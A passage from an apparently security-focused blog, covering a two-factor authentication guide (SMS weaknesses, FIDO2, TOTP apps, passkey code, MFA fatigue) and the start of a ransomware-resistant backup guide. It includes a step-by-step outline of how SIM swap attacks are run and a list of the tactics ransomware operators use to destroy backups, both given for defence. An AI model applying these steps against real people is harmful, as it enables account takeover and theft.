mechanisms, SS7 allows any party with access to the signaling network to: - Route SMS messages intended for any phone number to a different endpoint - Track a phone's location globally - Forward calls Access to SS7 infrastructure is not limited to telecom giants. Security researchers at SR Labs publicly demonstrated SS7 attacks against politicians in 2014. Intelligence agencies of numerous countries maintain SS7 access capabilities. Organized criminal groups with access to telecom insiders have demonstrated it in cryptocurrency theft operations. ### SIM Swapping: The Practical Attack For most attackers, SS7 access is too technical. SIM swapping is easier and more common: 1. Attacker researches the target using social media, data broker sites, and previously breached databases 2. Attacker calls the target's mobile carrier posing as the victim 3. Using collected personal information (last four of SSN, billing address, recent call history), attacker convinces a customer service agent to transfer the target's number to a new SIM 4. The target's phone immediately loses service, "No Service" or "SOS Only" 5. Every SMS sent to the number now goes to the attacker's SIM 6. Attacker requests password resets and SMS 2FA codes for all target accounts Notable SIM swap cases: - **Michael Terpin (2018)**: Lost $24 million in cryptocurrency after AT&T allowed a SIM swap despite a security PIN he had specifically set up to prevent unauthorized transfers. He sued AT&T for $224 million. - **Twitter CEO Jack Dorsey (2019)**: His Twitter account was compromised via SIM swapping, enabling the attackers to post racist tweets from his account. - **T-Mobile data breach (2021)**: 47 million customers' data was exposed, much of which is useful for conducting SIM swap social engineering. - **Coinbase (ongoing)**: Coinbase has disclosed multiple incidents involving SIM swap attacks against customers, leading them to recommend TOTP over SMS for account security. The FTC received 15,300 SIM swap complaints in 2021, a 400% increase from 2018. Actual incidents are estimated to be far higher given low reporting rates. If your phone suddenly loses carrier service with no explanation (especially after receiving suspicious calls about your account), immediately find another device to access your accounts and change credentials. Do not wait for service to resume. By the time service returns (when the swap is reversed or detected), the attacker has already done damage. ## Hardware Security Keys: The Technical Details FIDO2 (Fast Identity Online 2nd factor) is the standard that underlies hardware security keys and passkeys. The authentication flow is fundamentally different from shared-secret approaches: ### Registration ``` 1. User visits site and initiates security key registration 2. Site sends a "challenge" — a random 32-byte value 3. Challenge includes the site's origin (relying party ID): "accounts.google.com" 4. Browser passes the challenge to the hardware key 5. Hardware key uses its on-device true random number generator to create: - A new ECDSA P-256 or Ed25519 key pair per-registration - The private key is generated inside the key and never leaves the hardware 6. Hardware key signs {challenge + origin + other data} with the private key 7. Public key + signed response sent to server 8. Server verifies the signature using the public key, stores public key for this user ``` ### Authentication ``` 1. User visits site login 2. Server sends a new random challenge + the stored credential ID for this user 3. Browser passes to hardware key 4. Hardware key verifies the origin in the browser request matches the origin used during registration - If origin doesn't match → key refuses to sign → ATTACK BLOCKED - If origin matches → key signs {challenge + origin + counter + other data} with private key 5. Signed assertion sent to server 6. Server verifies the signature with the stored public key 7. Server verifies the counter incremented (prevents replay attacks) ``` The origin check in step 4 is the domain binding that defeats all phishing. The private key never leaves the hardware, so there is nothing to steal from the software layer. The counter (which increments on every authentication) prevents replay attacks even if an authentication response is captured. ### CTAP2 (Client to Authenticator Protocol) Communication between the browser and the hardware key uses CTAP2 over USB HID, NFC, or BLE: ```json // Simplified CTAP2 authenticatorMakeCredential request (simplified) { "clientDataHash": "", "rp": { "id": "accounts.google.com", "name": "Google" }, "user": { "id": "", "name": "user@example.com" }, "pubKeyCredParams": [ {"type": "public-key", "alg": -7} // ECDSA P-256 ], "options": { "rk": true, // Resident key (discoverable credential) "uv": true // User verification (PIN/biometric required) } } ``` The `rp.id` field is the relying party identifier. The hardware key cryptographically binds the credential to this identifier. No credential created for `accounts.google.com` will respond to authentication challenges from any other origin. ### Choosing a Hardware Key **YubiKey 5 Series**: the broadest compatibility and most widely supported key. Available variants: | Model | Connector | NFC | Best For | |---|---|---|---| | YubiKey 5 NFC | USB-A | Yes | Desktop + Android phone | | YubiKey 5C NFC | USB-C | Yes | Modern laptops + iPhone/Android | | YubiKey 5Ci | USB-C + Lightning | Yes | Mixed USB-C/Lightning environments | | YubiKey 5C Nano | USB-C | No | Always-plugged desktop use | | YubiKey Bio | USB-A or USB-C | No | Biometric PIN replacement | Purchase directly from Yubico (yubico.com) or Amazon, not third-party gray market sellers, physical tampering before delivery is a documented threat vector for high-value targets. **Google Titan Security Key**, FIDO2 compliant, Google-verified supply chain, USB-C and NFC versions. Slightly less compatible with non-FIDO2 use cases (no OTP support) but excellent for Google Workspace environments. **Nitrokey FIDO2**, European open-source hardware, independently audited, USB-A and USB-C variants. Good choice for privacy-conscious users uncomfortable with Yubico's US corporate structure. ### Setting Up a YubiKey: Complete Walkthrough **Google Account:** ``` 1. myaccount.google.com → Security → 2-Step Verification 2. Scroll to "Security keys" → Add security key 3. Insert YubiKey into USB port 4. Chrome will prompt: "Register your security key" 5. Touch the gold disc on the YubiKey 6. Give the key a name: "YubiKey 5C NFC - primary" 7. Key is registered 8. Test: open new incognito window → sign into Google → at the 2FA prompt, insert YubiKey and touch it ``` **GitHub:** ``` 1. github.com/settings/two_factor_authentication 2. Under "Security keys" → Register new security key 3. Enter key name, click Add → insert and touch YubiKey 4. Confirm backup methods (TOTP app or recovery codes) ``` **AWS (IAM):** ``` 1. AWS Console → IAM → Users → your user → Security credentials 2. Multi-factor authentication → Assign MFA device 3. Select "Security key" → click Next 4. Register when prompted (insert and touch) ``` **Cloudflare:** ``` 1. dash.cloudflare.com → Profile → Authentication → Security Keys 2. Add security key → follow browser prompt 3. Cloudflare requires a backup 2FA method — set up TOTP as backup ``` Always register a minimum of two hardware keys per account: one primary (daily carry) and one backup (stored in a safe or separate location). If your only key is lost or stolen, you may be locked out of accounts without fallback access. The backup does not need to be a YubiKey: a Google Titan works fine as backup to a YubiKey primary. ## TOTP Apps: Choosing and Configuring Despite the real-time phishing vulnerability described above, TOTP provides strong protection against credential stuffing, remote brute force, and most casual attacks. It is the practical minimum for all significant accounts. ### App Comparison | App | Platform | Open Source | Encrypted Backup | Cloud Sync | Notes | |---|---|---|---|---|---| | Aegis Authenticator | Android | Yes | Yes (AES-256) | Manual | Strongly recommended for Android | | Raivo OTP | iOS | Yes | Yes (iCloud) | iCloud only | Best for iPhone users | | 2FAS | iOS, Android | Yes | Yes | Optional | Cross-platform, good UI | | Ente Auth | iOS, Android, Desktop | Yes | Yes (E2E) | Yes (Ente servers/self-host) | Best cross-platform open source option | | Google Authenticator | iOS, Android | No | Yes (Google account) | Google account | Widely used; now has Google-account sync | | Authy | iOS, Android, Desktop | No | Yes (Twilio) | Twilio servers | Convenient; your TOTP secrets are on Twilio's servers | | Microsoft Authenticator | iOS, Android | No | Yes (Microsoft account) | Microsoft account | Required for some enterprise setups | **Recommended choices:** - **Android**: Aegis Authenticator. Local encrypted backup, export/import, no cloud dependency, beautiful UI. - **iOS**: Raivo OTP or Ente Auth. Both are open source with encrypted backups. - **Cross-platform**: Ente Auth, open source, end-to-end encrypted sync, works on iOS/Android/desktop, can self-host the sync server. **Avoid**: - Google Authenticator's older non-syncing versions (if you get a new phone without exporting first, you lose all accounts) - Authy if you're concerned about Twilio having access to your TOTP secrets (they derive your encryption key from your phone number, weaker than a proper passphrase) ### Setting Up TOTP: Step-by-Step Using GitHub as the example: ``` 1. Install Aegis Authenticator (Android) or Raivo OTP (iOS) Complete initial setup — set a strong PIN or passphrase for the app 2. GitHub: Settings → Password and authentication → Two-factor authentication Click "Set up using an app" GitHub displays a QR code and your backup codes 3. In Aegis/Raivo: tap + → Scan QR code Point camera at the QR code Entry appears immediately showing a 6-digit code rotating every 30 seconds 4. Enter the current 6-digit code on GitHub to confirm setup 5. CRITICAL: Save the backup codes GitHub displayed Store them in your password manager under the GitHub entry OR print them and store physically — NOT in the same app as your TOTP 6. Test: log out of GitHub entirely → log back in After entering password, enter the 6-digit code from your app ``` **Backup code storage**: This step is where most people make a catastrophic mistake. If backup codes are stored only on the same phone as the authenticator app, losing the phone means losing the backup. Store backup codes in your password manager, in a separate notes app with its own encryption, or printed and physically secured. ### TOTP Backup: The Critical Configuration People Skip **Aegis (Android):** Tools → Backup → Enable automatic backup → choose an encrypted local backup location. Also export manually: Tools → Export → Encrypted → save to a location you control (not just the phone). ``` # Aegis backup is an encrypted JSON file # Test restoring it before you need to: # - Install fresh Aegis → Import → select backup file → enter backup password → all accounts restored ``` **Raivo (iOS):** iCloud sync is built-in. Verify it's enabled: Settings → iCloud → on. Your TOTP accounts are backed up to iCloud with app-level encryption. **Ente Auth:** Cloud sync is automatic and end-to-end encrypted. Export for offline backup: Settings → Data → Export. ## Passkeys: The Authentication Evolution Passkeys are the successor architecture that replaces passwords and 2FA simultaneously with a phishing-resistant, seamless authentication mechanism. ### What a Passkey Is A passkey is a FIDO2 discoverable credential (resident key) stored by your device's secure enclave or by a password manager. Instead of a 6-digit code, authentication requires: 1. Server sends a challenge to your browser/app 2. Browser asks the operating system to authenticate 3. OS triggers biometric prompt (Face ID, Touch ID, Windows Hello, device PIN) 4. If approved, the device's secure enclave signs the challenge with a private key that never leaves the secure hardware 5. Signed assertion returned to server 6. Server verifies with stored public key No password is transmitted. No code is transmitted. The biometric unlock is local: it is not sent to the server; it unlocks the private key on-device. ### Platform Passkey Support **Apple (iOS 16+, macOS 13+):** Passkeys sync via iCloud Keychain, encrypted end-to-end. Available across all Apple devices associated with the same Apple ID. ``` # Creating a passkey on GitHub (Safari on macOS): 1. github.com/settings/passkeys → Add passkey 2. Safari shows: "Do you want to save a passkey for github.com?" 3. Authenticate with Touch ID / Face ID 4. Passkey created and synced to iCloud Keychain # Next login: 1. Click "Sign in with passkey" or GitHub detects stored passkey 2. Touch ID / Face ID prompt appears 3. Authenticate → logged in, no password, no code ``` **Android (9+):** Passkeys sync via Google Password Manager. Available across Android devices signed into the same Google account. **Windows (10/11):** Windows Hello supports passkeys. Stored locally or synced via Microsoft account. **Cross-platform managers:** 1Password, Bitwarden (experimental), Dashlane, and Strongbox (iOS) can store passkeys independently of OS platform sync. This enables passkeys that work across Apple, Windows, and Android without being tied to a single vendor's sync infrastructure. ### Passkey Technical Format ```json // Passkey WebAuthn credential (what's stored server-side — public info only) { "id": "dGhpcyBpcyBhIHRlc3Q", // Credential ID (random bytes) "type": "public-key", "rawId": "", "response": { "clientDataJSON": "", // Contains origin, challenge, type "attestationObject": "" // Contains public key, attested info } } // The server stores: // - Credential ID (to look up the credential) // - Public key (to verify future assertions) // - Sign count (to detect cloned authenticators) // - Relying party ID: "github.com" // // The server NEVER receives or stores: // - Private key (stays in device secure enclave forever) // - Biometric data ``` ### Implementing Passkeys on Your Application If you are building authentication, adding passkey support is worth the implementation cost: ```javascript // Frontend: Register a passkey (WebAuthn API) async function registerPasskey(username) { // 1. Get challenge from your server const response = await fetch('/auth/passkey/begin-registration', { method: 'POST', body: JSON.stringify({ username }), headers: { 'Content-Type': 'application/json' } }); const options = await response.json(); // 2. Create credential const credential = await navigator.credentials.create({ publicKey: { challenge: base64urlDecode(options.challenge), rp: { name: "Your App", id: "yourapp.com" }, user: { id: base64urlDecode(options.userId), name: username, displayName: username }, pubKeyCredParams: [ { type: "public-key", alg: -7 }, // ES256 { type: "public-key", alg: -257 } // RS256 (legacy) ], authenticatorSelection: { residentKey: "required", // Makes it discoverable (passkey) userVerification: "required" // Require biometric/PIN }, timeout: 60000, attestation: "none" // Direct/indirect/none — none is fine for most apps } }); // 3. Send credential to server for storage await fetch('/auth/passkey/complete-registration', { method: 'POST', body: JSON.stringify({ id: credential.id, rawId: base64urlEncode(credential.rawId), response: { clientDataJSON: base64urlEncode(credential.response.clientDataJSON), attestationObject: base64urlEncode(credential.response.attestationObject) }, type: credential.type }), headers: { 'Content-Type': 'application/json' } }); } ``` ```python # Backend: Verify passkey registration (using py_webauthn) from webauthn import verify_registration_response, generate_registration_options from webauthn.helpers.structs import RegistrationCredential def complete_passkey_registration(user_id: str, credential_data: dict): try: verification = verify_registration_response( credential=RegistrationCredential.parse_raw(json.dumps(credential_data)), expected_challenge=get_pending_challenge(user_id), # From session/cache expected_rp_id="yourapp.com", expected_origin="https://yourapp.com", ) # Store credential in database store_passkey( user_id=user_id, credential_id=verification.credential_id, public_key=verification.credential_public_key, sign_count=verification.sign_count, ) return True except Exception as e: log.error(f"Passkey registration failed: {e}") return False ``` ## MFA Fatigue Attacks: Push Notification Vulnerabilities MFA push notifications ("approve or deny" prompts from apps like Duo, Okta Verify, or Microsoft Authenticator) are vulnerable to "prompt bombing" or MFA fatigue attacks. The technique: 1. Attacker obtains the victim's credentials (phishing, purchase, breach) 2. Attacker logs in repeatedly at odd hours, generating continuous push notifications 3. Eventually the victim taps "Approve" to make the notifications stop, incorrectly assuming it is a system error 4. Attacker gains access **Real incident**: The September 2022 Uber breach. The attacker purchased credentials for an Uber contractor on the dark web, then conducted a WhatsApp social engineering campaign alongside prompt bombing. The contractor eventually approved an MFA push notification after receiving a WhatsApp message claiming to be Uber IT Support explaining the notifications. The **Lapsus$ group** systematically used MFA fatigue against Microsoft, Okta, Cisco, Samsung, and Nvidia in 2022. Their methodology was consistent: buy or social engineer credentials, prompt bomb push MFA, follow up with a social engineering phone call to "explain" the prompts. **Defenses against MFA fatigue:** 1. **Number matching**: The authenticator app displays a number shown on the login screen. The user must enter that number in the app to approve. An automated prompt bomb has no number to provide. 2. **Additional context**: Push notifications show the IP address and geographic location of the login attempt. Users can see "Login request from Lagos, Nigeria" and deny correctly. 3. **Rate limiting push prompts**: Limit to 3 push approvals per time window; after that, require the user to authenticate with a different method. 4. **Use phishing-resistant MFA for privileged accounts**: Hardware keys cannot be fatigue-attacked. Microsoft Entra ID (formerly Azure AD) and Okta both support number matching, enable it. ## Which Accounts Absolutely Require MFA Not all accounts carry equal risk. Prioritize by what damage a compromise enables. **Tier 1, Protect first, no exceptions:** | Account Type | Why It's Critical | |---|---| | Primary email | All password resets flow here; owning email = owning everything | | Password manager | Compromise exposes every stored credential | | Domain registrar | Losing a domain redirects email and takes down infrastructure | | Cloud DNS provider | Same as domain registrar impact | | Primary cloud provider (AWS/Azure/GCP) | Contains infrastructure, data, billing | **Tier 2, Protect within 24 hours:** | Account Type | Why It Matters | |---|---| | Banking and financial accounts | Direct monetary loss | | Cryptocurrency exchanges | Irreversible monetary loss | | Cloud storage (Drive, iCloud, Dropbox) | Contains documents, credentials, 2FA backup codes | | Social media with significant reach | Reputational and identity fraud | | Work accounts (corporate email, Slack, GitHub) | Professional consequences, data exposure | **Tier 3, Protect when convenient:** Everything else. Any account that stores personal information, payment details, or has a password reset path through a Tier 1 or Tier 2 account. ## Recovery Planning: When 2FA Fails You Setup is incomplete until you have handled recovery. The failure modes are predictable: lost phone, broken hardware key, corrupted authenticator app data. If you have not thought through recovery before the failure occurs, you will either lose account access permanently or waste hours on hold with support teams. ### Backup Code Management Every TOTP-based service generates 8-10 single-use backup codes during setup. These are your escape hatch when your authenticator is unavailable. ``` # Example backup codes (do not use these): 1a2b-3c4d 5e6f-7g8h 9i0j-1k2l 3m4n-5o6p 7q8r-9s0t ``` **Storage rules:** - Store backup codes in your password manager, under the entry for the site they belong to - Print a physical copy for the 5 most critical accounts (email, banking, password manager, primary cloud, primary domain registrar) - Never store backup codes in the same authenticator app the codes are meant to recover - Never screenshot backup codes to the photo library on the same phone ### Multiple Enrolled Devices For hardware keys: buy two of the same model. Register both on every critical account. Primary key stays on your keychain; backup stays in a drawer at home or at the office. For TOTP: if you scan the QR code into two authenticator apps simultaneously (both apps scan the same QR code during setup), both generate identical codes. This provides redundancy: the desktop and the phone have the same TOTP seed. Do this during initial setup only; once setup is complete, you cannot recover the seed without going through the account's 2FA settings again. ### Testing Your Recovery Before You Need It ```bash # Checklist for testing backup access: # TOTP: □ Export encrypted backup from Aegis/Raivo/Ente □ Install app fresh on a second device OR wipe and reinstall □ Import backup → verify all accounts load correctly □ Generate and verify a code for one account # Hardware key: □ Log into a test account using the backup key only □ Verify it works before storing it away # Backup codes: □ Use one backup code to log in (you have 8-10, using one to verify they work is acceptable) □ Generate new codes if you use one (most services let you regenerate) ``` ## Common 2FA Mistakes That Get People Owned **Single point of failure on one device**: Your phone is your only authenticator. It is stolen. The attacker has your PIN (observed or guessed). They now have both your passwords (via browser-saved passwords or a cloud-syncing password manager unlocked by biometrics) and your TOTP codes. Solution: keep one hardware key registered per critical account as an independent factor. **Using email as 2FA recovery before securing email**: Setting up TOTP on your bank, with the recovery path routing through an unsecured Gmail account, provides minimal protection. An attacker who owns your email can bypass your bank's 2FA through account recovery. Secure email with MFA first: it is the root of the recovery chain. **Trusting "remember this device" indefinitely**: Every trusted device is a window where 2FA is not checked. Review and prune trusted devices regularly. Most services show this under active sessions or trusted devices in security settings. **SMS as 2FA on cryptocurrency accounts**: Crypto exchanges are primary SIM swap targets because the losses are immediate and irreversible. Coinbase, Binance, Kraken, and all major exchanges support hardware key authentication. Use it. **Push notification MFA without number matching on privileged accounts**: As described in the Uber breach analysis above, enable number matching in your organization's identity provider settings. This single configuration change defeats prompt bombing attacks entirely. **Authenticator app without encrypted backup**: New phone, old authenticator data not migrated. Result: locked out of 15 accounts, spending days on hold with support teams to disable 2FA. Configure encrypted cloud backup in your authenticator app the day you set it up. ## Action Checklist **Today:** - [ ] Install Aegis (Android), Raivo or Ente Auth (iOS), or Ente Auth (cross-platform) - [ ] Enable TOTP on your primary email account, save backup codes - [ ] Enable TOTP on your password manager account, save backup codes - [ ] Enable TOTP on your primary bank account (if TOTP is available; hardware key if possible) **This week:** - [ ] Enable TOTP on all Tier 1 and Tier 2 accounts listed above - [ ] Export and test a backup from your authenticator app - [ ] Store backup codes for all critical accounts in your password manager - [ ] Print backup codes for email, banking, and password manager, store physically **Next month:** - [ ] Purchase two hardware security keys (YubiKey 5C NFC recommended for most people) - [ ] Register both keys on: email, password manager, primary cloud provider, GitHub/GitLab - [ ] Enroll passkeys on every service that supports them - [ ] Audit trusted devices on all major accounts, remove devices you no longer own - [ ] If you manage identity for an organization: enable number matching for push MFA, enforce FIDO2 for privileged accounts via Conditional Access or Okta Policies The hierarchy is clear: passkeys and hardware keys are phishing-proof; TOTP is phishing-vulnerable but stops everything else; SMS is weak but better than nothing; no 2FA is negligence. Move up the hierarchy starting today with the accounts that matter most. ## Related guides - [Best Hardware Security Keys (FIDO2)](/best-hardware-security-keys) - [What Is Phishing and How to Stop It](/what-is-phishing) - [The Social Engineering Playbook](/social-engineering-playbook) - [Crypto Exchange Security](/crypto-exchange-security) - [Password Managers: Why You Need One](/password-managers-guide) ### Sources - FIDO Alliance: How FIDO Works (FIDO Alliance): https://fidoalliance.org/how-fido-works/ - NIST SP 800-63B: Authentication Assurance Levels (NIST): https://pages.nist.gov/800-63-3/sp800-63b.html - CISA: More Than a Password: Multi-Factor Authentication (CISA): https://www.cisa.gov/MFA --- # Category: incident-response ## The 3-2-1 Backup Strategy: Ransomware-Resistant Backups > What 3-2-1 means, why ransomware forced the 3-2-1-1-0 update, how immutability and air gaps work, and the restore testing that decides whether any of it was real. - URL: https://blog.pwnsy.com/3-2-1-backup-strategy-guide - Date: 2026-08-25 - Updated: 2026-08-25 - Difficulty: beginner - Category: incident-response - Tags: backup, ransomware, disaster-recovery, immutability, resilience - Related: [The Next 10 Years of Cybersecurity: A Forecast to 2036](https://blog.pwnsy.com/cybersecurity-next-10-years), [Change Healthcare: One Citrix Login and a National Outage](https://blog.pwnsy.com/change-healthcare-attack-explained), [Colonial Pipeline: One Legacy VPN Account Without MFA](https://blog.pwnsy.com/colonial-pipeline-explained) ### TL;DR - 3-2-1 is three copies of the data, on two different media types, with one copy offsite. - Ransomware broke the assumption underneath it. Attackers with domain rights delete shadow copies, encrypt the NAS, and use stolen credentials to remove cloud snapshots, so a copy that is reachable is a copy that is at risk. - The modern form is 3-2-1-1-0: add one copy that is offline or immutable, and zero errors on a verified restore test. - A backup that has never been restored is a hypothesis. The restore test is what converts it into a backup. ### Key Takeaways - Immutability means the copy cannot be deleted or altered until its retention expires, even by an administrator, which is precisely the case ransomware creates. - Object lock in compliance mode cannot be shortened or overridden by anyone including the account root, which is what makes it different from a retention policy. - Backup credentials must not be the same identity as production administration. A domain administrator who can also delete backups turns one compromise into a total loss. - Restore time for the whole estate is the number nobody measures. Recovering 40 TB over a link that delivers 200 Mbps takes about nineteen days regardless of how good the backup is. - SaaS platforms replicate your data and do not back it up on your behalf. Deletion and encryption sync to every replica. - Test by restoring, not by reading a report. Restore a file, a server and an application stack, and record how long each took. ### FAQ **Q: What does the 3-2-1 backup rule mean?** Keep three copies of your data, which is the production copy plus two backups. Store them on two different types of media, so a failure mode affecting one type does not take both backups. And keep one copy offsite, so a fire, flood or theft at the primary location does not destroy everything. It was popularised by photographer Peter Krogh in the context of protecting image archives and became a general standard. **Q: What is 3-2-1-1-0?** An extension for the ransomware era. The extra 1 is a copy that is offline, air-gapped or immutable, so an attacker with administrative credentials cannot delete or encrypt it. The 0 is zero errors on backup verification and restore testing, which makes the test an explicit part of the rule rather than an assumed one. **Q: What is an immutable backup?** A backup that cannot be modified or deleted until a retention period expires, enforced by the storage layer rather than by policy. In object storage this is usually object lock: in governance mode a privileged user can override it, and in compliance mode nobody can, including the account root user, until the retention date passes. Tape achieves the same by being physically disconnected, and some backup appliances implement their own hardened retention. **Q: Why does ransomware target backups?** Because backups are what removes the need to pay. Modern intrusions spend time inside the network before encrypting, and one of the first things operators do with administrative access is find and destroy recovery options: deleting volume shadow copies, encrypting network-attached storage, deleting snapshots through cloud APIs with stolen credentials, and attacking the backup server itself. Encryption is the last step, after recovery has been removed. **Q: Do I need to back up Microsoft 365 or Google Workspace?** The provider protects against their own infrastructure failures and offers a retention window for deleted items. They do not protect you from your own actions or an attacker acting as you: a deletion or a mass encryption performed with valid credentials replicates everywhere the data lives, and once the retention window passes the data is gone. Third-party backup for SaaS exists for exactly that gap. **Q: How often should I test restores?** At least quarterly for a representative sample, and after any significant change to the backup or production environment. Test three levels: a single file, a full server, and a complete application including its dependencies. Record the time each takes, because recovery time is the number that matters during an incident and it is almost always longer than anyone estimated. The 3-2-1 rule predates ransomware. It was written for a world where data was lost to hardware failure, accidental deletion, fire and theft, and against those it works: three copies, two media types, one offsite means no single failure takes everything. Ransomware broke the assumption it rests on, which is that the threats to your copies are independent. An attacker with administrative credentials attacks all your copies deliberately, and copies that are reachable from the environment are copies they can reach. Every backup mounted as a network share, every snapshot deletable through an API, and every replication target reachable from the production domain fails at the same moment for the same reason. This guide covers the original rule, what the ransomware era added, how immutability actually works, and the restore testing that determines whether any of it was true. Scope: [Anatomy of a Ransomware Attack](/ransomware-anatomy) owns the attack, [What Is a Wiper](/what-is-a-wiper) owns destructive malware, and [Incident Response 101](/incident-response-101) owns the response. This page owns the recovery capability. ## The original rule **Three copies.** The production data plus two backups. Two copies means one failure away from a single copy, and single copies fail. **Two media types.** Disk and tape, local disk and object storage, on-premises and cloud. The point is that a failure mode affecting one type, a firmware bug in a drive model, a filesystem corruption, an encryption event against a mounted share, does not take both. **One offsite.** Geographic separation, so a fire, a flood or a burglary does not destroy the primary and its backup together. Far enough that one event cannot affect both, which usually means a different building at minimum. Against hardware failure and physical disaster this holds up unchanged. What it does not address is an intelligent adversary inside the environment. ## What ransomware changed Modern ransomware operations spend days or weeks inside a network before anything is encrypted. During that time, with administrative credentials, the operators systematically remove recovery options: - **Volume shadow copies deleted**, so local file recovery is unavailable. This is near-universal. - **Network-attached storage encrypted**, because the backup share was mounted with credentials the compromised host held. - **Backup software attacked directly**, since the backup server is a high-value target that by design has read access to everything. - **Cloud snapshots and objects deleted** with stolen credentials, in accounts where the backup identity was the same identity used for production administration. - **Backup agents disabled** or retention shortened weeks in advance, so what remains at encryption time is already useless. Encryption is the last step, once recovery has been removed. Which means a backup regime is only as good as the parts of it an attacker with your administrator's credentials cannot reach. ## 3-2-1-1-0 The updated form adds two requirements. **One copy offline, air-gapped or immutable.** A copy that cannot be deleted or altered by anyone operating inside the environment. Three ways to get this: *Physical air gap.* Tape written and removed, or a disk disconnected after the backup. Nothing on the network can touch it. Slow to restore from and unambiguous about its properties. *Immutable storage.* Object lock on cloud object storage, or a hardened repository on a backup appliance. The retention period is enforced by the storage layer, so a delete request from an authenticated administrator is refused. In governance mode a privileged user with a specific permission can override it; in compliance mode nobody can, including the account root, until retention expires. Compliance mode is what to use for the copy of last resort, with the understanding that you also cannot delete it early, which has cost implications you should model before enabling. *Logical air gap.* A separate account, separate credential domain and separate identity provider, with no trust relationship to production and no shared administrators. Weaker than the other two and much better than nothing. **Zero errors.** Backup verification and restore testing must pass. This is in the rule because the most common backup failure is not that the backup was destroyed. It is that it was never good. ## Immutability in practice For object storage, the shape is: ```bash # A bucket must have versioning and object lock enabled at creation aws s3api create-bucket --bucket backups-immutable --object-lock-enabled-for-bucket # Default retention for new objects aws s3api put-object-lock-configuration --bucket backups-immutable \ --object-lock-configuration '{"ObjectLockEnabled":"Enabled","Rule": {"DefaultRetention":{"Mode":"COMPLIANCE","Days":30}}}' ``` Three things to get right around it: **The credential that writes backups should not be able to delete them.** A write-only identity with `s3:PutObject` and no delete permission, separate from any identity used for administration. Object lock protects even against delete attempts, and defence in depth costs nothing here. **Retention must exceed dwell time.** If an attacker is in the environment for six weeks before encrypting, a fourteen-day retention window means every immutable copy still available at recovery time was written while they were present. Thirty days is a common floor and longer is safer. **Model the cost.** Immutable objects cannot be deleted early, so a mistake in a retention policy or a runaway backup job is a bill you pay to its end. Test the configuration on a small bucket first. ## The other decisions **RPO and RTO.** Recovery point objective is how much data you can afford to lose, which sets backup frequency. Recovery time objective is how long you can afford to be down, which sets the recovery architecture. Nightly backups mean an RPO of up to 24 hours, and no amount of restore speed changes that. **Backup is not disaster recovery, and neither is archive.** Backup restores data. Disaster recovery restores service, which needs infrastructure, networking, identity and dependencies as well as data. Archive keeps data for compliance and is not designed for fast recall. Organisations that conflate them discover the difference during an outage. **Encrypt the backups**, and keep the keys somewhere the backups do not depend on. Backup data is a complete copy of everything sensitive you hold, sitting outside the controls that protect production. The key management question is covered in [Cloud Key Management Explained](/cloud-key-management-explained), and the failure mode to avoid is storing the only copy of the key inside the system you are backing up. **Retention with versions.** Ransomware sometimes encrypts slowly, corrupting data over weeks. A single most-recent copy inherits the corruption. Keeping daily, weekly and monthly generations gives you a point before it started. **Back up the things nobody lists.** Configuration, infrastructure-as-code state, certificates and private keys, database schemas, the identity directory, and the documentation needed to rebuild. A restore of application data onto an environment nobody can reconstruct is a partial recovery. **SaaS platforms.** Providers protect against their own failures and offer a deletion retention window. They do not protect against an attacker using valid credentials to delete or encrypt at scale, and once the window passes the data is gone. If a SaaS platform holds data the business cannot operate without, it needs a backup you control. ## Testing A backup that has never been restored is a hypothesis, and the failure rate on first restores is high enough that this is not a rhetorical point. What goes wrong, in roughly descending frequency: - A job that has been failing for weeks with alerts routed to a mailbox nobody reads. - Backups running against a subset of systems, because the agent was never installed on the ones added since. - A